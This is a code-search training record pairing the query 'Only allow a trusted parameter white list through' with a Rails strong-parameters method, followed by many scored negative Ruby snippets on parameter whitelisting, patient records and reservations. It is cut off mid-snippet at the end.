query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Only allow a trusted parameter "white list" through.
def api_key_params params.require(:api_key).permit(:user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
Returns all patients with a viral load in the selected range and the regimens they are on the given point in time.
def patients Observation.select('patient_id, birthdate, patient_current_regimen(patient_id, obs_datetime) as regimen') .joins(:encounter) .joins('INNER JOIN person USING (person_id)') .where(concept_id: ConceptName.find_by_name('Viral load').concept_id, obs_datetime: (start_date..end_date), value_numeric: viral_load_range) .merge(Encounter.where(encounter_type: EncounterType.find_by_name('LAB ORDERS').encounter_type_id)) .group(:person_id) .order(obs_datetime: :desc) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_visiting_patients(date)\n day_start, day_end = TimeUtils.day_bounds(date)\n Patient.find_by_sql(\n [\n 'SELECT patient.* FROM patient INNER JOIN encounter USING (patient_id)\n WHERE encounter.encounter_datetime BETWEEN ? AND ?\n AND encounter.voided = 0 AND patient.voided = 0\n GROUP BY patient.patient_id',\n day_start, day_end\n ]\n )\n end", "def request_viral_load_today?(patient)\n current_date = Date.today\n arv_start_date = PatientService.date_antiretrovirals_started(patient).to_date.to_s rescue nil\n second_line_arv_start_date = PatientService.date_started_second_line_regimen(patient).to_date.to_s rescue nil\n if second_line_arv_start_date.blank?\n duration = PatientService.duration_on_treatment(arv_start_date)\n viral_observation = viral_load_search(patient,duration,arv_start_date)\n viral_load_asked = viral_load_ever_asked(current_date,patient)\n treatment = \"1<sup>st</sup>\"\n if (viral_observation==true && viral_load_asked == false)\n if milestone_reached(duration)\n reminder_text(treatment,duration)\n return true\n else\n return false\n end\n end\n if (adherence_based_monitoring(patient,arv_start_date)==true && viral_load_asked == false)\n @text = \"monitoring_adhe\"\n reminder_text(treatment,duration)\n return true\n else\n return false\n end\n else\n duration = PatientService.duration_on_treatment(second_line_arv_start_date)\n viral_observation = viral_load_search(patient,duration,second_line_arv_start_date)\n viral_load_asked = viral_load_ever_asked(current_date,patient)\n treatment = \"2<sup>nd</sup>\"\n if (viral_observation == true && viral_load_asked == false)\n if milestone_reached(duration)\n reminder_text(treatment,duration)\n return true\n else\n return false\n end\n end\n if (adherence_based_monitoring(patient,arv_start_date)==true && viral_load_asked == false)\n @text = \"monitoring_adhe\"\n reminder_text(treatment,duration)\n return true\n else\n return false\n end\n end\n end", "def find_report\n within(start_date, end_date).map(&:patient_id)\n end", "def registrations(start_dt, end_dt)\n Encounter.joins(['INNER JOIN obs ON obs.person_id = encounter.patient_id'])\n .where(['program_id = ? AND encounter_type = ? AND obs.concept_id = ? AND\n DATE(encounter_datetime) >= ? AND DATE(encounter_datetime) <= ? AND encounter.voided = 0',\n PROGRAM.id, CURRENT_PREGNANCY.id, LMP.concept_id, start_dt.to_date, end_dt.to_date])\n .select(['MAX(value_datetime) lmp, patient_id'])\n .group([:patient_id]).collect(&:patient_id).uniq\n end", "def vt_intersect(instant=Time.zone.now, range_end=nil)\n where(arel_vt_intersect(instant, range_end))\n end", "def find_all_across_pages_from(time)\n find_all_across_pages(:params => { :from => time.utc.strftime(\"%Y%m%d\") })\n end", "def within_range\n @site.loads.desc(:time).where(:time.gt => @timeframe.from, :time.lt => @timeframe.to)\n end", "def load_patient_resources (type, profile, patientfield, pid, datefield=nil)\n parameters = {}\n parameters[patientfield] = \"Patient/\" + pid\n parameters[:_profile] = profile if profile\n parameters[:_count] = 1000 \n \n if datefield \n parameters[datefield] = []\n parameters[datefield] << \"ge\"+ DateTime.parse(start_date).strftime(\"%Y-%m-%d\") if start_date.present?\n parameters[datefield] << \"le\"+ DateTime.parse(end_date).strftime(\"%Y-%m-%d\") if end_date.present?\n end\n search = {parameters: parameters }\n results = @client.search(type, search: search )\n results.resource.entry.map(&:resource)\n end", "def compute_lq(patient_type)\n segments = []\n patient_code = service.send(\"#{patient_type}patient_code\")\n facility_payer_information = FacilitiesPayersInformation.find_by_payer_id_and_facility_id(payer.id, facility.id) if payer\n if facility_payer_information\n capitation_code = facility_payer_information.capitation_code\n if(patient_type == \"in\")\n allowance_code = facility_payer_information.in_patient_allowance_code\n payment_code = facility_payer_information.in_patient_payment_code\n else\n allowance_code = facility_payer_information.out_patient_allowance_code\n payment_code = facility_payer_information.out_patient_payment_code\n end\n \n end\n unless patient_code.blank?\n patient_code_array = patient_code.split(\",\")\n segments << (lq_rx_segments(allowance_code) if patient_code_array.include?(\"1\") and !allowance_code.blank?)\n segments << (lq_rx_segments(capitation_code) if patient_code_array.include?(\"2\") and !capitation_code.blank?)\n end\n serv_amt = service.service_paid_amount.to_f\n pat_type = @eob.patient_type.downcase rescue nil\n \n if serv_amt > 0 and pat_type == \"#{patient_type}patient\"\n segments << (lq_rx_segments(payment_code) unless payment_code.blank?)\n end\n segments\n end", "def eligible_patients(date, filters = {})\n current_month = date.beginning_of_month\n last_visit_since = (date + PATIENT_VISITED_SINCE).beginning_of_day\n last_visit_until = (date + PATIENT_VISITED_UNTIL).end_of_day\n no_appointments_after = date.end_of_day\n\n self.class.superclass\n .eligible_patients(filters)\n .joins(\"INNER JOIN reporting_patient_visits ON reporting_patient_visits.patient_id = patients.id\")\n .joins(\"LEFT OUTER JOIN appointments future_appointments\n ON future_appointments.patient_id = patients.id\n AND (future_appointments.scheduled_date > '#{no_appointments_after}'\n OR future_appointments.remind_on > '#{no_appointments_after}')\")\n .where(reporting_patient_visits: {month_date: current_month})\n .where(\"visited_at > ? AND visited_at < ?\", last_visit_since, last_visit_until)\n .where(\"future_appointments.id IS NULL\")\n end", "def patient_visit_list\n yes_concept = ConceptName.find_by_name('YES').concept_id\n hiv_reception_breakdown = {}\n\n (patient_visits || []).each do |v|\n # visit_date = v['obs_datetime'].to_date\n visit_type = v['name']\n ans_given = v['value_coded'].to_i == yes_concept\n patient_id = v['patient_id'].to_i\n patient_present = (visit_type.match(/patient/i) && ans_given ? true : false)\n guardian_present = (visit_type.match(/person/i) && ans_given ? true : false)\n\n if hiv_reception_breakdown[patient_id].blank?\n demographics = client_data(patient_id)\n hiv_reception_breakdown[patient_id] = {\n patient_present: false, guardian_present: false,\n given_name: demographics['given_name'],\n family_name: demographics['family_name'],\n gender: demographics['gender'],\n birthdate: demographics['birthdate'],\n arv_number: demographics['arv_number']\n }\n end\n\n hiv_reception_breakdown[patient_id][:patient_present] = patient_present if visit_type.match(/patient/i)\n hiv_reception_breakdown[patient_id][:guardian_present] = guardian_present if visit_type.match(/person/i)\n end\n\n hiv_reception_breakdown\n end", "def filter_locations_tu(points)\n filter_locations(points, 15.9.within(0.07), 50.57.within(0.1))\nend", "def tt_intersect(instant=Time.zone.now, range_end=nil)\n where(arel_tt_intersect(instant, range_end))\n end", "def load_patient_resources (type, profile, patientfield, pid, datefield=nil)\n parameters = {}\n# parameters[patientfield] = \"Patient/\" + pid\n parameters[patientfield] = pid\n parameters[:_profile] = profile if profile\n# parameters[:_count] = 1000 \n # binding.pry \n if datefield \n parameters[datefield] = []\n parameters[datefield] << \"ge\"+ DateTime.parse(start_date).strftime(\"%Y-%m-%d\") if start_date.present?\n parameters[datefield] << \"le\"+ DateTime.parse(end_date).strftime(\"%Y-%m-%d\") if end_date.present?\n end\n search = { parameters: parameters }\n results = @client.search(type, search: search)\n results.resource.entry.map(&:resource)\n end", "def patients\n self.appointments.map do |appointment|\n appointment.patient\n # binding.pry\n end\n # Appointments.all.select {|doc| }\n end", "def filter_locations_bu(points)\n filter_locations(points, 16.06.within(0.07), 50.41.within(0.1))\nend", "def reservations_by_date_range(date_range)\n res_by_date_range = @reservations.select do |res|\n res.date_range.overlaps?(date_range)\n end\n return res_by_date_range\n end", "def related_patients\n _patients=[]\n under_supervision_clinics.each do |clinic|\n clinic.registrations.each do |reg|\n unless _patients.include?(reg.patient)\n _patients.append(reg.patient)\n end\n end\n end\n\n registrations.each do |reg|\n unless _patients.include?(reg.patient)\n _patients.append(reg.patient)\n end\n end\n return _patients\n end", "def active_range(region)\n start = [earliest_patient_recorded_at_period[region.slug], periods.begin].compact.max\n (start..periods.end)\n end", "def active_range(region)\n start = [earliest_patient_recorded_at_period[region.slug], periods.begin].compact.max\n (start..periods.end)\n end", "def reservations_by_date(date)\n date = Date.parse(date)\n res_by_date = @reservations.select do |res|\n res.date_range.included_in_date_range(date)\n end\n return res_by_date\n end", "def filter_locations(points, lon_deg_range, lat_deg_range)\n points.select do |p|\n lon_deg_range.include?(p[0]) && lat_deg_range.include?(p[1])\n end\nend", "def appointments\n Appointment.all.select do |appointment|\n appointment.patient == self\n #binding.pry\n end\n end", "def reservations_by_date(date_query)\n res_list = []\n @reservations.each do |res|\n if res.range.include?(date_query)\n res_list << res\n end\n end \n return res_list \n end", "def betweenTime\n page = params[:page] || 1\n per = params[:per] || 10\n\n if params[:start_time] and params[:end_time]\n surprise = @current_user.event.where(event_type: \"surprise\").where(date: params[:start_time]..params[:end_time]).page(page).per(per)\n\n render :json => {\n :event => surprise.as_json(:except => [:created_at , :updated_at] , include: {surprise: {include: :surprise_user}})\n } , status: 200\n return\n else\n render json: { message: \"sent parameters completely\" } , status: 422\n end\n end", "def show_vendor_availability\n start_time = params[:start_time]\n end_time = params[:end_time]\n meetings = VendorCalendarUnavailability.where(vendor_id: @current_user.id).where(\"((end_time > ?) OR (end_time < ?)) AND ((start_time > ?) OR (start_time < ?))\", start_time, end_time, start_time, end_time)\n render json: { unavailable_times: meetings }, status: 200\n end", "def patients\n appointments.collect { |appt| appt.patient }\n end", "def patients\r\n appointments.map { |s|s.patient }\r\n end", "def get_reservations_by_date(date)\n\t\t\tfound_reservations = []\n\n\t\t\t@reservations.each do |reservation|\n\t\t\t\tif reservation.range.include_single_date?(date)\n\t\t\t\t\tfound_reservations << reservation\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn found_reservations\n\t\tend", "def appointments\n Appointment.all.select{|x| x.patient == self}\nend", "def index\n @registry_patients = filtering_params(params).paginate(:page => params[:page])\n end", "def sensor_readings_between(start_time, end_time, kind)\n start_time.change usec: 0\n end_time.change usec: 0\n\n time_series = []\n value = sensor_at start_time, kind\n\n edges = edges_between(start_time, end_time).where(kind: kind).all\n time = start_time\n offset = 0\n while time < end_time\n while edges[offset] && edges[offset].created_at <= time\n edge = edges[offset]\n value = edge.value\n offset += 1\n end\n time_series.push ts: time.to_i, value: value\n time += 1.second\n end\n time_series\n end", "def load_all_local_sensors_by_date(start_date, end_date)\n s_date = start_date.to_time.utc\n e_date = end_date.to_time.utc \n names = Sensor.find(:all, \n :conditions=>[\"created_at between ? and ?\", s_date, e_date], \n :group=>\"name\");\n @resultset = {}\n names.each do |s|\n @resultset[s.name] = Sensor.find(:all, \n :conditions=>[\"created_at between ? and ? AND name=?\", s_date, e_date, s.name], \n :order=>\"created_at\");\n end\n end", "def search\n\n #@reservations = Reservation.new \n @user= User.new \n \n #t = Time.zone.parse(\"2013-12-12 16:35:00\")\n #@reservations = Reservation.where(:inicio =>t)\n\n #ahora con between\n\n iniciof = Time.zone.parse(\"2012-12-12 16:35:00\")\n finf = Time.zone.parse(\"2014-12-12 16:35:00\")\n\n #iniciof = \"2012-12-12 16:35:00\"\n #finf = \"2014-12-12 16:35:00\"\n\n @reservations = Reservation.where(:inicio => iniciof .. finf)\n\n end", "def patients\n self.appointments.collect do |a|\n a.patient\n end\n end", "def index\n if params[:date_range].blank?\n @time_slots = TimeSlot.all\n else\n input_start_time =\n input_end_time = \n @time_slots = TimeSlot.where(\"start_time > ? AND end_time < ?\", input_start_time, input_end_time)\n end\n end", "def va_patient?\n facilities = user&.va_profile&.vha_facility_ids\n facilities.to_a.any? do |f|\n Settings.mhv.facility_range.any? { |range| f.to_i.between?(*range) }\n end\n end", "def get_availabilities\n #retrieve all availability\n self.therapist_availability.collect{ |availability| availability_start_end_datetime(availability.get_occurrences, availability) }.flatten\n end", "def versions_between(start_time, end_time)\n versions = send(@record.class.versions_association_name).between(start_time, end_time)\n versions.collect { |version| version_at(version.created_at) }\n end", "def versions_between(start_time, end_time)\n versions = send(@record.class.versions_association_name).between(start_time, end_time)\n versions.collect { |version| version_at(version.created_at) }\n end", "def get_drs_from_range(start_date, end_date)\n self.delta_requests.select do |dr|\n begin\n dr.start_time > start_date and dr.start_time < end_date\n rescue\n false\n end\n end\n end", "def patients\n self.appointments.collect do |appointment|\n appointment.patient\n end\n end", "def patients\n self.appointments.collect do |appointment|\n appointment.patient\n end\n end", "def available_on(base_time)\n # Stash this for future use, as we will be using it to set a\n # baseline date in order to derive a bunch of different appointments\n # from.\n set_base_time(base_time)\n\n # Fetch all TimeEntris related for this date query.\n time_entries = time_entries_for(base)\n\n # Transform TimeEntry(s) -> TimeSlot(s).\n available_slots = generate_time_slots(time_entries)\n\n # Combine all sequential linear slots to into a single window.\n # This produces multiple windows\n windows = combine_linear_slots(available_slots)\n\n # Generate TimeBlocks from the Available Slot ranges\n open_time_blocks = generate_time_blocks(windows)\n\n # Optimize & Filter our wide collection of TimeBlocks.\n optimized_blocks = optimize_time_blocks(open_time_blocks)\n\n # Finally, present the TimeBlock(s) as Appointment records\n # to the Customer.\n final = transform_blocks_to_appointments(optimized_blocks)\n end", "def appointments\n Appointment.all.select do |appointment|\n appointment.patient == self\n end\n end", "def appointments\n Appointment.all.select do |appointment|\n appointment.patient == self\n end\n end", "def appointments\n Appointment.all.select { |x| x.patient == self }\n end", "def list_by_date_range\n\n # TODO\n # raise 400 if \n # invalid :device_id format\n # invalid :date format\n # invalid :from format\n # invalid :to format\n # from > to\n # from > current year\n # to > current year\n\n @device = Device.get_pings_by_date_range(params)\n\n json_response(@device, :ok)\n\n end", "def appointments\n Appointment.all.select {|appt| appt.patient == self}\n end", "def index\n return render status: :bad_request, json: {message: \"Missing required param 'latitude'.\"} if params[:latitude].blank?\n return render status: :bad_request, json: {message: \"Missing required param 'longitude'.\"} if params[:longitude].blank?\n\n range = params[:range].blank? ? 10000 : params[:range]\n start_time = params[:start_time].blank? ? Time.now : params[:start_time]\n end_time = params[:end_time].blank? ? 1.day.from_now : params[:end_time]\n\n near = ParkingPlace.near([params[:latitude], params[:longitude]], range, :units => :km)\n\n time_slots = TimeSlot\n .includes(:parking_place).references(:parking_place).merge(near)\n .where('start_time <= ? AND end_time >= ?', start_time, end_time)\n .paginate(:page => params[:page], :per_page => params[:per_page])\n\n render json: time_slots, each_serializer: TimeSlotIndexSerializer\n end", "def reservations_by_date(date)\n specific_reservations = @reservations.find_all do |reservation|\n (reservation.start_date..reservation.end_date).cover?(Date.parse(date))\n end\n\n return specific_reservations\n end", "def patients\n appointments.map do |appointment|\n appointment.patient\n end\n end", "def metrics_time_range(start_time, end_time)\n resource.metrics.for_time_range(start_time, end_time)\n end", "def patients\n my_patients = self.appointments.map do |appointment|\n appointment.patient\n end \n\n my_patients.uniq\n end", "def appointments\n Appointment.all.select do |appointment| appointment.patient == self end\n end", "def appointments\n Appointment.all.select {|appointments| appointments.patient == self}\n end", "def resource_reservations(date_from, date_to, stock_plate_or_reference)\n\n BookingDataSystem::Booking.by_sql { |b| \n [select_resource_reservations(b), stock_plate_or_reference, stock_plate_or_reference,\n date_from, date_from, \n date_to, date_to,\n date_from, date_to,\n date_from, date_to ] }.all(order: :date_from) \n\n end", "def patients_in_measure_population_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['MSRPOPL'])\n end.pluck(:_id)\n end", "def booking_texi(vehicle_type_id, pickup_date, pickup_time, dropoff_date, dropoff_time, pickup_addr)\n @texi_info = TexiInfo.near(pickup_addr,4).where(vehicle_type_id: vehicle_type_id).map(&:id).uniq rescue 0\n @bookings = Booking.where(:user_id => current_user.id).where('pickup_time <= ? AND dropoff_time >= ?', pickup_time, dropoff_time).where(:pickup_datetime => pickup_date.to_date).where(:return_pickup_datetime => dropoff_date.to_date).order('pickup_datetime ASC') rescue 0\n @ids = @bookings.map(&:taxi_info_id).uniq unless @bookings.blank? rescue 0\n if !@ids.blank?\n @texi_info = @texi_info-@ids\n end\n if @texi_info.blank?\n return []\n else\n return @texi_info.sample\n end\n end", "def patients\n self.appointments.collect do |appointment|\n appointment.patient\n end\n end", "def appointments \n Appointment.all.select do |a|\n a.patient == self\n end\nend", "def betweenTime\n page = params[:page] || 1\n per = params[:per] || 10\n\n if params[:start_time] and params[:end_time]\n meeting = @current_user.event.where(event_type: \"meeting\").where(date: params[:start_time]..params[:end_time]).page(page).per(per)\n \n render :json => {\n :event => meeting.as_json(:except => [:created_at , :updated_at] , include: {meeting: {include: :meeting_user}})\n } , status: 200\n return\n else\n render json: { message: \"sent parameters completely\" } , status: 422\n end\n end", "def patients \n # patients = []\n # Appointment.all.each do | appointment |\n # if appointment.doctor == self \n # patients << appointment.patient\n # end\n # end\n # patients\n all_app = Appointment.all.select do | appointment |\n appointment.doctor == self\n end\n all_patients = all_app.collect do | appointment |\n appointment.patient.name\n end\n # all_patients.map do | patient |\n # patient.name\n # end\n end", "def pick_patients\n $genes = Hash.new {|hash, key| hash[key] = Set.new() }\n $hide_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n $avail_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n\n pick_pat = Set.new($all_avail_pat.keys.sample(($HIDE_PERCENT*$all_avail_pat.size).to_i))\n $all_avail_pat.each_key do |pat|\n if pick_pat.include? pat\n $hide_pat[pat] = $all_avail_pat[pat]\n else\n $avail_pat[pat] = $all_avail_pat[pat]\n $avail_pat[pat].each { |gene| $genes[gene] << pat }\n end\n end\nend", "def patients\n @appointments.collect do |appt|\n appt.patient\n end\n end", "def includes(time)\n return (@beginTime < time && time < @endTime) ;\n end", "def range_facet_and_filter_for(field,params={},options={})\n\t\t\tstart = (options[:start] || 20)\t#.to_i\n\t\t\tstop = (options[:stop] || 50)\t#.to_i\n\t\t\tstep = (options[:step] || 10)\t#.to_i\n\t\t\tlog = (options[:log] || false)\t#.to_i\n\t\t\trange_filter_for(field,params)\n#\t\t\tif params[field]\n##\t\"expect\"=>[\"1e-5..1e0\"]\n#\t\t\t\tany_of do\n#\t\t\t\t\tparams[field].each do |pp|\n##\t\t\t\t\t\tif pp =~ /^Under (\\d+)$/\n#\t\t\t\t\t\tif pp =~ /^Under (.+)$/\n#\t\t\t\t\t\t\twith( field.to_sym ).less_than $1 #\tactually less than or equal to\n##\t\t\t\t\t\telsif pp =~ /^Over (\\d+)$/\n#\t\t\t\t\t\telsif pp =~ /^Over (.+)$/\n#\t\t\t\t\t\t\twith( field.to_sym ).greater_than $1 #\tactually greater than or equal to\n##\t\t\t\t\t\telsif pp =~ /^\\d+\\.\\.\\d+$/\n#\t\t\t\t\t\telsif pp =~ /^.+\\.\\..+$/\n#\t\t\t\t\t\t\twith( field.to_sym, eval(pp) )\t#\tNOTE could add parantheses then use Range.new( $1,$2 )???\n#\t\t\t\t\t\telsif pp =~ 